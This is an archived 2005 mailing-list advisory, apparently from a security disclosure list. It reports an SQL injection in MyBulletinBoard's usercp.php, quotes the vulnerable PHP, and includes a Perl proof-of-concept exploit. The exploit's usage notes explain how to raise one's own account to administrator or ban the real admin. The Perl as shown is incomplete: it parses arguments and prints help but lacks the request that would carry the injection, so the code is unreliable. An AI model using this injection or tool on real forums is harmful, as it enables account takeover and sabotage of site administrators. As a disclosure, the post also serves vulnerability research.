Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | SQL-Injection in MyBulletinBoard allows attacker to become a board admin. |
|---|---|
| Date: | Wed, 26 Oct 2005 13:01:31 +0500 |
Vendor: www.mybboard.com Version: 1.00 Preview Release 2, RC4 and mayb prior. Script: usercp.php Code:
if($mybb->input['away'] == "yes" && $mybb->settings['allowaway'] != "no")So: Attacker can replace "awayday" param by some SQL code and change any field in _users table.
{
[...]
$returndate = $mybb->input['awayday']."-".$mybb->input['awaymonth']."-".$mybb->input['awayyear'];
[...]
$newprofile = array(
"website" => addslashes(htmlspecialchars($mybb->input['website'])),
"icq" => intval($mybb->input['icq']),
"aim" => addslashes(htmlspecialchars($mybb->input['aim'])),
"yahoo" => addslashes(htmlspecialchars($mybb->input['yahoo'])),
"msn" => addslashes(htmlspecialchars($mybb->input['msn'])),
"birthday" => $bday,
"away" => $away,
"awaydate" => $awaydate,
"returndate" => $returndate, // <--- not checked (bday too, but anyway)
"awayreason" => addslashes(htmlspecialchars($mybb->input['awayreason']))
);
[...]
$db->update_query(TABLE_PREFIX."users", $newprofile, "uid='".$mybb->user['uid']."'");
Proof of concept: (For PR2 only) --<-->--<-->--<-->--<-->--<-->--[START]--<-->--<-->--<-->--<-->--<-->-- #!/usr/bin/perl
### MyBB Preview Release 2 SQL-Injection PoC ExPlOiT ### ### ------------------------------------------------ ### ### To use this you have to be registered member on ### ### a target. ### ### ------------------------------------------------ ### ### Glossary: ### ### [MYBBUSER] - name of the field in cookie; ### ### [YOUR_ID] - your uid :) ### ### [ID] - victim uid ### ### Available groups: ### ### 1 - Unregistered / Not Logged In ### ### 2 - Registered ### ### 3 - Super Moderators ### ### 4 - Administrators ### ### 5 - Awayting Activation ### ### 6 - Moderators ### ### 7 - Banned ### ### ------------------------------------------------ ### ### Examples: ### ### 1) TROUBLE --> U need an admin privileges. ### ### USAGE --> mybbpr2.pl -u [MYBBUSER] -i ### ### [YOUR_ID] -g 4 server /mybb/ ### ### 2) TROUBLE --> U need to ban real admin. ### ### USAGE --> mybbpr2.pl -u [MYBBUSER] -i ### ### [ID] -g 7 server /mybb/ ###
use IO::Socket;
$tmp=0;
while($tmp<@ARGV)
{
if($ARGV[$tmp] eq "-u")
{
$mbuser=$ARGV[$tmp+1];
$tmp++;
}
if($ARGV[$tmp] eq "-i")
{
$id=$ARGV[$tmp+1];
$tmp++;
}
if($ARGV[$tmp] eq "-g")
{
$ugr=$ARGV[$tmp+1];
$tmp++;
}
if($ARGV[$tmp] eq "-h")
{
&f_help();
}
$tmp++;
}$target=$ARGV[@ARGV-2]; $path =$ARGV[@ARGV-1];
if(!$mbuser || !$id || !$ugr)
{
&f_die("Some options aren't specified");
}
print "\r\n Attacking http://$target\r\n";#----------------------------------# # S u B r O u T i N e # #----------------------------------#
sub f_help() { print q( Usage: mybbpr2.pl <OPTIONS> SERVER PATH Options: -u USERKEY mybbuser field from cookie. -i UID User's uid. (Change group 4 this user) -g GROUP New usergroup. (1-7) -h Displays this help. ); exit(-1); } #' sub f_die($) { print "\r\nERROR: $_[0]\r\n"; exit(-1); } --<-->--<-->--<-->--<-->--<-->--[EoF]--<-->--<-->--<-->--<-->--<-->--
Found: 1-3 sept 2005. Don't remember. Updated package is available (i hope).
ByE.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | Re: Mozilla Thunderbird SMTP down-negotiation weakness, Jason Haar |
|---|---|
| Next by Date: | Looking for security contacts at Sony and Lenovo (FKA IBM), Richard M. Smith |
| Previous by Thread: | Secunia Research: Mantis "t_core_path" File Inclusion Vulnerability, Secunia Research |
| Next by Thread: | Looking for security contacts at Sony and Lenovo (FKA IBM), Richard M. Smith |
| Indexes: | [Date] [Thread] [Top] [All Lists] |